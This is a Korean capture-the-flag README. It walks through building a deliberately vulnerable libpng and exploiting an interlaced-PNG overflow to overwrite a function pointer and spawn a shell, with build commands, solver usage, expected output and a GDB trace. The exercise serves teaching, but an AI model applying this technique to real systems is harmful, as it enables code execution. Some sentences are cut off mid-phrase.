
CTF 챌린지: libpng(CVE-2025-65018)의 실제 힙 버퍼 오버플로우를 악용하여 조작된 인터레이스 PNG로 함수 포인터를 덮어쓰고 셸을 실행합니다.
이 도전 과제는 libpng의 실제 버퍼 오버플로우 취약점(특히 16비트 인터레이스 이미지 처리 시 간소화된 API png_image_finish_read와 관련된)을 기반으로 합니다.
취약한 바이너리 victim이 제공됩니다. 이 바이너리는 정적으로 링크된 취약한 버전의 libpng를 사용합니다. 애플리케이션은 exploit.png라는 PNG 파일을 버퍼로 읽어들입니다.
목표는 힙 오버플로우를 트리거하여 이미지 버퍼 바로 뒤에 위치한 Logger 구조체의 함수 포인터를 덮어쓰고, 실행을 win() 함수로 리디렉션하여 셸을 실행하는 악성 PNG 파일을 제작하는 것입니다.
필수 조건: gcc, make, python3, git, autoconf, automake, libtool.
저장소를 클론합니다:
git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
cd CVE-2025-65018_Exploit_Challenge
도전 과제를 빌드합니다 (취약한 libpng 포함):
./build.sh
이 스크립트는 다음을 수행합니다:
libpng 소스 코드를 구성하고 패치하여 취약점을 활성화합니다.libpng 라이브러리를 빌드합니다.victim 바이너리를 컴파일합니다.취약점은 libpng가 16비트 입력을 8비트 출력으로 변환할 때 인터레이스 이미지를 처리하는 방식에 존재합니다.
PNG_FORMAT_RGBA)을 요청합니다. libpng는 8비트 데이터에 충분한 버퍼 크기를 할당합니다.png_combine_row가 입력의 16비트 비트 깊이를 사용하여 데이터를 출력 버퍼에 잘못 기록합니다.바이너리에는 execl("/bin/sh", ...)을 호출하는 도우미 함수 win()이 포함되어 있습니다. 그 주소가 필요합니다. 바이너리가 -no-pie로 컴파일되었으므로 주소는 정적입니다.
nm victim | grep win
# Output: 00000000004013e0 T win
대상 주소: 0x4013e0
solve.py)다음 조건을 만족하는 유효한 PNG를 생성해야 합니다:
IHDR)가 있어야 합니다.win의 주소)를 형성하는 픽셀 데이터가 있어야 합니다.solve.py 스크립트는 다음을 수행합니다:
Logger 구조체까지의 오프셋(버퍼 시작 후 4096 바이트)을 계산합니다.win 주소를 배치합니다.IDAT 청크로 압축합니다.페이로드 배치:
win 주소 0x4013e0(리틀 엔디안: E0 13 40 00 ...)은 16비트 RGB 픽셀로 인코딩되어야 합니다.
악성 PNG를 생성합니다:
python3 solve.py 4013e0
이렇게 하면 exploit.png가 생성됩니다.
victim을 실행합니다:
./victim
예상 출력:
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$
오버플로우를 실제로 확인하려면 GDB를 사용할 수 있습니다.
1. 취약한 호출 전에 중단점 설정:
break 62
run
2. 덮어쓰기 감시:
Logger 구조체는 오프셋 4096에 있습니다. 대상 함수 포인터를 감시해 봅시다.
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue
3. 트리거:
GDB는 png_combine_row가 함수 포인터에 쓰기를 할 때 멈춥니다.
Hardware watchpoint 2: *0x7fffffffc8f0
Old value = 4199366 (0x4013c6 <normal_log>)
New value = 4199392 (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()
이를 통해 libpng가 포인터를 win의 주소로 덮어썼음을 확인할 수 있습니다!
victim.c: 취약한 소스 코드.solve.py: 익스플로잇 생성기.libpng-src/: libpng(v1.6.37)의 소스 코드.build.sh: 모든 것을 컴파일하는 스크립트.Makefile: victim 바이너리를 위한 빌드 시스템.